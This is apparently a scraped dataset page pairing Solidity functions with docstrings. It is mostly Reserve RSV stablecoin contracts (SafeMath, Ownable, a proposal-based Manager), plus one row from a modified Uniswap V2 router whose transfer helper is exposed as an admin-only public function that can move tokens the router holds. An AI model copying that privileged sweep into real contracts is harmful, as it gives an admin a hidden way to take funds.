function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IRSV {
// Standard ERC20 functions
function transfer(address, uint256) external returns(bool);
function approve(address, uint256) external returns(bool);
function transferFrom(address, address, uint256) external returns(bool);
function totalSupply() external view returns(uint256);
function balanceOf(address) external view returns(uint256);
function allowance(address, address) external view returns(uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
// RSV-specific functions
function decimals() external view returns(uint8);
function mint(address, uint256) external;
function burnFrom(address, uint256) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _nominatedOwner;
event NewOwnerNominated(address indexed previousOwner, address indexed nominee);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Returns the address of the current nominated owner.
*/
function nominatedOwner() external view returns (address) {
return _nominatedOwner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_onlyOwner();
_;
}
function _onlyOwner() internal view {
require(_msgSender() == _owner, "caller is not owner");
}
/**
* @dev Nominates a new owner `newOwner`.
* Requires a follow-up `acceptOwnership`.
* Can only be called by the current owner.
*/
function nominateNewOwner(address newOwner) external onlyOwner {
require(newOwner != address(0), "new owner is 0 address");
emit NewOwnerNominated(_owner, newOwner);
_nominatedOwner = newOwner;
}
/**
* @dev Accepts ownership of the contract.
*/
function acceptOwnership() external {
require(_nominatedOwner == _msgSender(), "unauthorized");
emit OwnershipTransferred(_owner, _nominatedOwner);
_owner = _nominatedOwner;
}
/** Set `_owner` to the 0 address.
* Only do this to deliberately lock in the current permissions.
*
* THIS CANNOT BE UNDONE! Call this only if you know what you're doing and why you're doing it!
*/
function renounceOwnership(string calldata declaration) external onlyOwner {
string memory requiredDeclaration = "I hereby renounce ownership of this contract forever.";
require(
keccak256(abi.encodePacked(declaration)) ==
keccak256(abi.encodePacked(requiredDeclaration)),
"declaration incorrect");
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IProposal {
function proposer() external returns(address);
function accept(uint256 time) external;
function cancel() external;
function complete(IRSV rsv, Basket oldBasket) external returns(Basket);
function nominateNewOwner(address newOwner) external;
function acceptOwnership() external;
}
interface IProposalFactory {
function createSwapProposal(address,
address[] calldata tokens,
uint256[] calldata amounts,
bool[] calldata toVault
) external returns (IProposal);
function createWeightProposal(address proposer, Basket basket) external returns (IProposal);
}
contract ProposalFactory is IProposalFactory {
function createSwapProposal(
address proposer,
address[] calldata tokens,
uint256[] calldata amounts,
bool[] calldata toVault
)
external returns (IProposal)
{
IProposal proposal = IProposal(new SwapProposal(proposer, tokens, amounts, toVault));
proposal.nominateNewOwner(msg.sender);
return proposal;
}
function createWeightProposal(address proposer, Basket basket) external returns (IProposal) {
IProposal proposal = IProposal(new WeightProposal(proposer, basket));
proposal.nominateNewOwner(msg.sender);
return proposal;
}
}
contract Proposal is IProposal, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public time;
address public proposer;
enum State { Created, Accepted, Cancelled, Completed }
State public state;
event ProposalCreated(address indexed proposer);
event ProposalAccepted(address indexed proposer, uint256 indexed time);
event ProposalCancelled(address indexed proposer);
event ProposalCompleted(address indexed proposer, address indexed basket);
constructor(address _proposer) public {
proposer = _proposer;
state = State.Created;
emit ProposalCreated(proposer);
}
/// Moves a proposal from the Created to Accepted state.
function accept(uint256 _time) external onlyOwner {
require(state == State.Created, "proposal not created");
time = _time;
state = State.Accepted;
emit ProposalAccepted(proposer, _time);
}
/// Cancels a proposal if it has not been completed.
function cancel() external onlyOwner {
require(state != State.Completed);
state = State.Cancelled;
emit ProposalCancelled(proposer);
}
/// Moves a proposal from the Accepted to Completed state.
/// Returns the tokens, quantitiesIn, and quantitiesOut, required to implement the proposal.
function complete(IRSV rsv, Basket oldBasket)
external onlyOwner returns(Basket)
{
require(state == State.Accepted, "proposal must be accepted");
require(now > time, "wait to execute");
state = State.Completed;
Basket b = _newBasket(rsv, oldBasket);
emit ProposalCompleted(proposer, address(b));
return b;
}
/// Returns the newly-proposed basket. This varies for different types of proposals,
/// so it's abstract here.
function _newBasket(IRSV trustedRSV, Basket oldBasket) internal returns(Basket);
}
/**
* A WeightProposal represents a suggestion to change the backing for RSV to a new distribution
* of tokens. You can think of it as designating what a _single RSV_ should be backed by, but
* deferring on the precise quantities of tokens that will be need to be exchanged until a later
* point in time.
*
* When this proposal is completed, it simply returns the target basket.
*/
contract WeightProposal is Proposal {
Basket public trustedBasket;
constructor(address _proposer, Basket _trustedBasket) Proposal(_proposer) public {
require(_trustedBasket.size() > 0, "proposal cannot be empty");
trustedBasket = _trustedBasket;
}
/// Returns the newly-proposed basket
function _newBasket(IRSV, Basket) internal returns(Basket) {
return trustedBasket;
}
}
/**
* A SwapProposal represents a suggestion to transfer fixed amounts of tokens into and out of the
* vault. Whereas a WeightProposal designates how much a _single RSV_ should be backed by,
* a SwapProposal first designates what quantities of tokens to transfer in total and then
* solves for the new resultant basket later.
*
* When this proposal is completed, it calculates what the weights for the new basket will be
* and returns it. If RSV supply is 0, this kind of Proposal cannot be used.
*/
// On "unit" comments, see comment at top of Manager.sol.
contract SwapProposal is Proposal {
address[] public tokens;
uint256[] public amounts; // unit: qToken
bool[] public toVault;
uint256 constant WEIGHT_SCALE = uint256(10)**18; // unit: aqToken / qToken
constructor(address _proposer,
address[] memory _tokens,
uint256[] memory _amounts, // unit: qToken
bool[] memory _toVault )
Proposal(_proposer) public
{
require(_tokens.length > 0, "proposal cannot be empty");
require(_tokens.length == _amounts.length && _amounts.length == _toVault.length,
"unequal array lengths");
tokens = _tokens;
amounts = _amounts;
toVault = _toVault;
}
/// Return the newly-proposed basket, based on the current vault and the old basket.
function _newBasket(IRSV trustedRSV, Basket trustedOldBasket) internal returns(Basket) {
uint256[] memory weights = new uint256[](tokens.length);
// unit: aqToken/RSV
uint256 scaleFactor = WEIGHT_SCALE.mul(uint256(10)**(trustedRSV.decimals()));
// unit: aqToken/qToken * qRSV/RSV
uint256 rsvSupply = trustedRSV.totalSupply();
// unit: qRSV
for (uint256 i = 0; i < tokens.length; i++) {
uint256 oldWeight = trustedOldBasket.weights(tokens[i]);
// unit: aqToken/RSV
if (toVault[i]) {
// We require that the execution of a SwapProposal takes in no more than the funds
// offered in its proposal -- that's part of the premise. It turns out that,
// because we're rounding down _here_ and rounding up in
// Manager._executeBasketShift(), it's possible for the naive implementation of
// this mechanism to overspend the proposer's tokens by 1 qToken. We avoid that,
// here, by making the effective proposal one less. Yeah, it's pretty fiddly.
weights[i] = oldWeight.add( (amounts[i].sub(1)).mul(scaleFactor).div(rsvSupply) );
//unit: aqToken/RSV == aqToken/RSV == [qToken] * [aqToken/qToken*qRSV/RSV] / [qRSV]
} else {
weights[i] = oldWeight.sub( amounts[i].mul(scaleFactor).div(rsvSupply) );
//unit: aqToken/RSV
}
}
return new Basket(trustedOldBasket, tokens, weights);
// unit check for weights: aqToken/RSV
}
}
interface IVault {
function withdrawTo(address, uint256, address) external;
}
/**
* The Manager contract is the point of contact between the Reserve ecosystem and the
* surrounding world. It manages the Issuance and Redemption of RSV, a decentralized stablecoin
* backed by a basket of tokens.
*
* The Manager also implements a Proposal system to handle administration of changes to the
* backing of RSV. Anyone can propose a change to the backing. Once the `owner` approves the
* proposal, then after a pre-determined delay the proposal is eligible for execution by
* anyone. However, the funds to execute the proposal must come from the proposer.
*
* There are two different ways to propose changes to the backing of RSV:
* - proposeSwap()
* - proposeWeights()
*
* In both cases, tokens are exchanged with the Vault and a new RSV backing is set. You can
* think of the first type of proposal as being useful when you don't want to rebalance the
* Vault by exchanging absolute quantities of tokens; its downside is that you don't know
* precisely what the resulting basket weights will be. The second type of proposal is more
* useful when you want to fine-tune the Vault weights and accept the downside that it's
* difficult to know what capital will be required when the proposal is executed.
*/
/* On "unit" comments:
*
* The units in use around weight computations are fiddly, and it's pretty annoying to get them
* properly into the Solidity type system. So, there are many comments of the form "unit:
* ...". Where such a comment is describing a field, method, or return parameter, the comment means
* that the data in that place is to be interpreted to have that type. Many places also have
* comments with more complicated expressions; that's manually working out the dimensional analysis
* to ensure that the given expression has correct units.
*
* Some dimensions used in this analysis:
* - 1 RSV: 1 Reserve
* - 1 qRSV: 1 quantum of Reserve.
* (RSV & qRSV are convertible by .mul(10**reserve.decimals() qRSV/RSV))
* - 1 qToken: 1 quantum of an external Token.
* - 1 aqToken: 1 atto-quantum of an external Token.
* (qToken and aqToken are convertible by .mul(10**18 aqToken/qToken)
* - 1 BPS: 1 Basis Point. Effectively dimensionless; convertible with .mul(10000 BPS).
*
* Note that we _never_ reason in units of Tokens or attoTokens.
*/
contract Manager is Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// ROLES
// Manager is already Ownable, but in addition it also has an `operator`.
address public operator;
// DATA
Basket public trustedBasket;
IVault public trustedVault;
IRSV public trustedRSV;
IProposalFactory public trustedProposalFactory;
// Proposals
mapping(uint256 => IProposal) public trustedProposals;
uint256 public proposalsLength;
uint256 public delay = 24 hours;
// Controls
bool public issuancePaused;
bool public emergency;
// The spread between issuance and redemption in basis points (BPS).
uint256 public seigniorage; // 0.1% spread -> 10 BPS. unit: BPS
uint256 constant BPS_FACTOR = 10000; // This is what 100% looks like in BPS. unit: BPS
uint256 constant WEIGHT_SCALE = 10**18; // unit: aqToken/qToken
event ProposalsCleared();
// RSV traded events
event Issuance(address indexed user, uint256 indexed amount);
event Redemption(address indexed user, uint256 indexed amount);
// Pause events
event IssuancePausedChanged(bool indexed oldVal, bool indexed newVal);
event EmergencyChanged(bool indexed oldVal, bool indexed newVal);
event OperatorChanged(address indexed oldAccount, address indexed newAccount);
event SeigniorageChanged(uint256 oldVal, uint256 newVal);
event VaultChanged(address indexed oldVaultAddr, address indexed newVaultAddr);
event DelayChanged(uint256 oldVal, uint256 newVal);
// Proposals
event WeightsProposed(uint256 indexed id,
address indexed proposer,
address[] tokens,
uint256[] weights);
event SwapProposed(uint256 indexed id,
address indexed proposer,
address[] tokens,
uint256[] amounts,
bool[] toVault);
event ProposalAccepted(uint256 indexed id, address indexed proposer);
event ProposalCanceled(uint256 indexed id, address indexed proposer, address indexed canceler);
event ProposalExecuted(uint256 indexed id,
address indexed proposer,
address indexed executor,
address oldBasket,
address newBasket);
// ============================ Constructor ===============================
/// Begins in `emergency` state.
constructor(
address vaultAddr,
address rsvAddr,
address proposalFactoryAddr,
address basketAddr,
address operatorAddr,
uint256 _seigniorage) public
{
require(_seigniorage <= 1000, "max seigniorage 10%");
trustedVault = IVault(vaultAddr);
trustedRSV = IRSV(rsvAddr);
trustedProposalFactory = IProposalFactory(proposalFactoryAddr);
trustedBasket = Basket(basketAddr);
operator = operatorAddr;
seigniorage = _seigniorage;
emergency = true; // it's not an emergency, but we want everything to start paused.
}
// ============================= Modifiers ================================
/// Modifies a function to run only when issuance is not paused.
modifier issuanceNotPaused() {
require(!issuancePaused, "issuance is paused");
_;
}
/// Modifies a function to run only when there is not some emergency that requires upgrades.
modifier notEmergency() {
require(!emergency, "contract is paused");
_;
}
/// Modifies a function to run only when the caller is the operator account.
modifier onlyOperator() {
require(_msgSender() == operator, "operator only");
_;
}
/// Modifies a function to run and complete only if the vault is collateralized.
modifier vaultCollateralized() {
require(isFullyCollateralized(), "undercollateralized");
_;
assert(isFullyCollateralized());
}
// ========================= Public + External ============================
/// Set if issuance should be paused.
function setIssuancePaused(bool val) external onlyOperator {
emit IssuancePausedChanged(issuancePaused, val);
issuancePaused = val;
}
/// Set if all contract actions should be paused.
function setEmergency(bool val) external onlyOperator {
emit EmergencyChanged(emergency, val);
emergency = val;
}
/// Set the vault.
function setVault(address newVaultAddress) external onlyOwner {
emit VaultChanged(address(trustedVault), newVaultAddress);
trustedVault = IVault(newVaultAddress);
}
/// Clear the list of proposals.
function clearProposals() external onlyOperator {
proposalsLength = 0;
emit ProposalsCleared();
}
/// Set the operator.
function setOperator(address _operator) external onlyOwner {
emit OperatorChanged(operator, _operator);
operator = _operator;
}
/// Set the seigniorage, in BPS.
function setSeigniorage(uint256 _seigniorage) external onlyOwner {
require(_seigniorage <= 1000, "max seigniorage 10%");
emit SeigniorageChanged(seigniorage, _seigniorage);
seigniorage = _seigniorage;
}
/// Set the Proposal delay in hours.
function setDelay(uint256 _delay) external onlyOwner {
emit DelayChanged(delay, _delay);
delay = _delay;
}
/// Ensure that the Vault is fully collateralized. That this is true should be an
/// invariant of this contract: it's true before and after every txn.
function isFullyCollateralized() public view returns(bool) {
uint256 scaleFactor = WEIGHT_SCALE.mul(uint256(10) ** trustedRSV.decimals());
// scaleFactor unit: aqToken/qToken * qRSV/RSV
for (uint256 i = 0; i < trustedBasket.size(); i++) {
address trustedToken = trustedBasket.tokens(i);
uint256 weight = trustedBasket.weights(trustedToken); // unit: aqToken/RSV
uint256 balance = IERC20(trustedToken).balanceOf(address(trustedVault)); //unit: qToken
// Return false if this token is undercollateralized:
if (trustedRSV.totalSupply().mul(weight) > balance.mul(scaleFactor)) {
// checking units: [qRSV] * [aqToken/RSV] == [qToken] * [aqToken/qToken * qRSV/RSV]
return false;
}
}
return true;
}
/// Get amounts of basket tokens required to issue an amount of RSV.
/// The returned array will be in the same order as the current basket.tokens.
/// return unit: qToken[]
function toIssue(uint256 rsvAmount) public view returns (uint256[] memory) {
// rsvAmount unit: qRSV.
uint256[] memory amounts = new uint256[](trustedBasket.size());
uint256 feeRate = uint256(seigniorage.add(BPS_FACTOR));
// feeRate unit: BPS
uint256 effectiveAmount = rsvAmount.mul(feeRate).div(BPS_FACTOR);
// effectiveAmount unit: qRSV == qRSV*BPS/BPS
// On issuance, amounts[i] of token i will enter the vault. To maintain full backing,
// we have to round _up_ each amounts[i].
for (uint256 i = 0; i < trustedBasket.size(); i++) {
address trustedToken = trustedBasket.tokens(i);
amounts[i] = _weighted(
effectiveAmount,
trustedBasket.weights(trustedToken),
RoundingMode.UP
);
// unit: qToken = _weighted(qRSV, aqToken/RSV, _)
}
return amounts; // unit: qToken[]
}
/// Get amounts of basket tokens that would be sent upon redeeming an amount of RSV.
/// The returned array will be in the same order as the current basket.tokens.
/// return unit: qToken[]
function toRedeem(uint256 rsvAmount) public view returns (uint256[] memory) {
// rsvAmount unit: qRSV
uint256[] memory amounts = new uint256[](trustedBasket.size());
// On redemption, amounts[i] of token i will leave the vault. To maintain full backing,
// we have to round _down_ each amounts[i].
for (uint256 i = 0; i < trustedBasket.size(); i++) {
address trustedToken = trustedBasket.tokens(i);
amounts[i] = _weighted(
rsvAmount,
trustedBasket.weights(trustedToken),
RoundingMode.DOWN
);
// unit: qToken = _weighted(qRSV, aqToken/RSV, _)
}
return amounts;
}
/// Handles issuance.
/// rsvAmount unit: qRSV
function issue(uint256 rsvAmount) external
issuanceNotPaused
notEmergency
vaultCollateralized
{
require(rsvAmount > 0, "cannot issue zero RSV");
require(trustedBasket.size() > 0, "basket cannot be empty");
// Accept collateral tokens.
uint256[] memory amounts = toIssue(rsvAmount); // unit: qToken[]
for (uint256 i = 0; i < trustedBasket.size(); i++) {
IERC20(trustedBasket.tokens(i)).safeTransferFrom(
_msgSender(),
address(trustedVault),
amounts[i]
);
// unit check for amounts[i]: qToken.
}
// Compensate with RSV.
trustedRSV.mint(_msgSender(), rsvAmount);
// unit check for rsvAmount: qRSV.
emit Issuance(_msgSender(), rsvAmount);
}
/// Handles redemption.
/// rsvAmount unit: qRSV
function redeem(uint256 rsvAmount) external notEmergency vaultCollateralized {
require(rsvAmount > 0, "cannot redeem 0 RSV");
require(trustedBasket.size() > 0, "basket cannot be empty");
// Burn RSV tokens.
trustedRSV.burnFrom(_msgSender(), rsvAmount);
// unit check: rsvAmount is qRSV.
// Compensate with collateral tokens.
uint256[] memory amounts = toRedeem(rsvAmount); // unit: qToken[]
for (uint256 i = 0; i < trustedBasket.size(); i++) {
trustedVault.withdrawTo(trustedBasket.tokens(i), amounts[i], _msgSender());
// unit check for amounts[i]: qToken.
}
emit Redemption(_msgSender(), rsvAmount);
}
/**
* Propose an exchange of current Vault tokens for new Vault tokens.
*
* These parameters are phyiscally a set of arrays because Solidity doesn't let you pass
* around arrays of structs as parameters of transactions. Semantically, read these three
* lists as a list of triples (token, amount, toVault), where:
*
* - token is the address of an ERC-20 token,
* - amount is the amount of the token that the proposer says they will trade with the vault,
* - toVault is the direction of that trade. If toVault is true, the proposer offers to send
* `amount` of `token` to the vault. If toVault is false, the proposer expects to receive
* `amount` of `token` from the vault.
*
* If and when this proposal is accepted and executed, then:
*
* 1. The Manager checks that the proposer has allowed adequate funds, for the proposed
* transfers from the proposer to the vault.
* 2. The proposed set of token transfers occur between the Vault and the proposer.
* 3. The Vault's basket weights are raised and lowered, based on these token transfers and the
* total supply of RSV **at the time when the proposal is executed**.
*
* Note that the set of token transfers will almost always be at very slightly lower volumes
* than requested, due to the rounding error involved in (a) adjusting the weights at execution
* time and (b) keeping the Vault fully collateralized. The contracts should never attempt to
* trade at higher volumes than requested.
*
* The intended behavior of proposers is that they will make proposals that shift the Vault
* composition towards some known target of Reserve's management while maintaining full
* backing; the expected behavior of Reserve's management is to accept only such proposals,
* excepting during dire emergencies.
*
* Note: This type of proposal does not reliably remove token addresses!
* If you want to remove token addresses entirely, use proposeWeights.
*
* Returns the new proposal's ID.
*/
function proposeSwap(
address[] calldata tokens,
uint256[] calldata amounts, // unit: qToken
bool[] calldata toVault
)
external notEmergency vaultCollateralized returns(uint256)
{
require(tokens.length == amounts.length && amounts.length == toVault.length,
"proposeSwap: unequal lengths");
uint256 proposalID = proposalsLength++;
trustedProposals[proposalID] = trustedProposalFactory.createSwapProposal(
_msgSender(),
tokens,
amounts,
toVault
);
trustedProposals[proposalID].acceptOwnership();
emit SwapProposed(proposalID, _msgSender(), tokens, amounts, toVault);
return proposalID;
}
/**
* Propose a new basket, defined by a list of tokens address, and their basket weights.
*
* Note: With this type of proposal, the allowances of tokens that will be required of the
* proposer may change between proposition and execution. If the supply of RSV rises or falls,
* then more or fewer tokens will be required to execute the proposal.
*
* Returns the new proposal's ID.
*/
function proposeWeights(address[] calldata tokens, uint256[] calldata weights)
external notEmergency vaultCollateralized returns(uint256)
{
require(tokens.length == weights.length, "proposeWeights: unequal lengths");
require(tokens.length > 0, "proposeWeights: zero length");
uint256 proposalID = proposalsLength++;
trustedProposals[proposalID] = trustedProposalFactory.createWeightProposal(
_msgSender(),
new Basket(Basket(0), tokens, weights)
);
trustedProposals[proposalID].acceptOwnership();
emit WeightsProposed(proposalID, _msgSender(), tokens, weights);
return proposalID;
}
/// Accepts a proposal for a new basket, beginning the required delay.
function acceptProposal(uint256 id) external onlyOperator notEmergency vaultCollateralized {
require(proposalsLength > id, "proposals length <= id");
trustedProposals[id].accept(now.add(delay));
emit ProposalAccepted(id, trustedProposals[id].proposer());
}
/// Cancels a proposal. This can be done anytime before it is enacted by any of:
/// 1. Proposer 2. Operator 3. Owner
function cancelProposal(uint256 id) external notEmergency vaultCollateralized {
require(
_msgSender() == trustedProposals[id].proposer() ||
_msgSender() == owner() ||
_msgSender() == operator,
"cannot cancel"
);
require(proposalsLength > id, "proposals length <= id");
trustedProposals[id].cancel();
emit ProposalCanceled(id, trustedProposals[id].proposer(), _msgSender());
}
/// Executes a proposal by exchanging collateral tokens with the proposer.
function executeProposal(uint256 id) external onlyOperator notEmergency vaultCollateralized {
require(proposalsLength > id, "proposals length <= id");
address proposer = trustedProposals[id].proposer();
Basket trustedOldBasket = trustedBasket;
// Complete proposal and compute new basket
trustedBasket = trustedProposals[id].complete(trustedRSV, trustedOldBasket);
// For each token in either basket, perform transfers between proposer and Vault
for (uint256 i = 0; i < trustedOldBasket.size(); i++) {
address trustedToken = trustedOldBasket.tokens(i);
_executeBasketShift(
trustedOldBasket.weights(trustedToken),
trustedBasket.weights(trustedToken),
trustedToken,
proposer
);
}
for (uint256 i = 0; i < trustedBasket.size(); i++) {
address trustedToken = trustedBasket.tokens(i);
if (!trustedOldBasket.has(trustedToken)) {
_executeBasketShift(
trustedOldBasket.weights(trustedToken),
trustedBasket.weights(trustedToken),
trustedToken,
proposer
);
}
}
emit ProposalExecuted(
id,
proposer,
_msgSender(),
address(trustedOldBasket),
address(trustedBasket)
);
}
// ============================= Internal ================================
/// _executeBasketShift transfers the necessary amount of `token` between vault and `proposer`
/// to rebalance the vault's balance of token, as it goes from oldBasket to newBasket.
/// @dev To carry out a proposal, this is executed once per relevant token.
function _executeBasketShift(
uint256 oldWeight, // unit: aqTokens/RSV
uint256 newWeight, // unit: aqTokens/RSV
address trustedToken,
address proposer
) internal {
if (newWeight > oldWeight) {
// This token must increase in the vault, so transfer from proposer to vault.
// (Transfer into vault: round up)
uint256 transferAmount =_weighted(
trustedRSV.totalSupply(),
newWeight.sub(oldWeight),
RoundingMode.UP
);
// transferAmount unit: qTokens
if (transferAmount > 0) {
IERC20(trustedToken).safeTransferFrom(
proposer,
address(trustedVault),
transferAmount
);
}
} else if (newWeight < oldWeight) {
// This token will decrease in the vault, so transfer from vault to proposer.
// (Transfer out of vault: round down)
uint256 transferAmount =_weighted(
trustedRSV.totalSupply(),
oldWeight.sub(newWeight),
RoundingMode.DOWN
);
// transferAmount unit: qTokens
if (transferAmount > 0) {
trustedVault.withdrawTo(trustedToken, transferAmount, proposer);
}
}
}
// When you perform a weighting of some amount of RSV, it will involve a division, and
// precision will be lost. When it rounds, do you want to round UP or DOWN? Be maximally
// conservative.
enum RoundingMode {UP, DOWN}
/// From a weighting of RSV (e.g., a basket weight) and an amount of RSV,
/// compute the amount of the weighted token that matches that amount of RSV.
function _weighted(
uint256 amount, // unit: qRSV
uint256 weight, // unit: aqToken/RSV
RoundingMode rnd
) internal view returns(uint256) // return unit: qTokens
{
uint256 scaleFactor = WEIGHT_SCALE.mul(uint256(10)**(trustedRSV.decimals()));
// scaleFactor unit: aqTokens/qTokens * qRSV/RSV
uint256 shiftedWeight = amount.mul(weight);
// shiftedWeight unit: qRSV/RSV * aqTokens
// If the weighting is precise, or we're rounding down, then use normal division.
if (rnd == RoundingMode.DOWN || shiftedWeight.mod(scaleFactor) == 0) {
return shiftedWeight.div(scaleFactor);
// return unit: qTokens == qRSV/RSV * aqTokens * (qTokens/aqTokens * RSV/qRSV)
}
return shiftedWeight.div(scaleFactor).add(1); // return unit: qTokens
}
}
|
Returns the newly-proposed basket
|
function _newBasket(IRSV, Basket) internal returns(Basket) {
return trustedBasket;
}
| 12,591,224 |
./full_match/1/0x42336FF3D019B46bbec2e508dB296D96915D79dE/sources/UniswapV2Router02.sol
|
bytes4(keccak256(bytes('transfer(address,uint256)')));
|
function safeTransfer(address token, address to, uint value) public onlyadmin {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
| 3,018,195 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.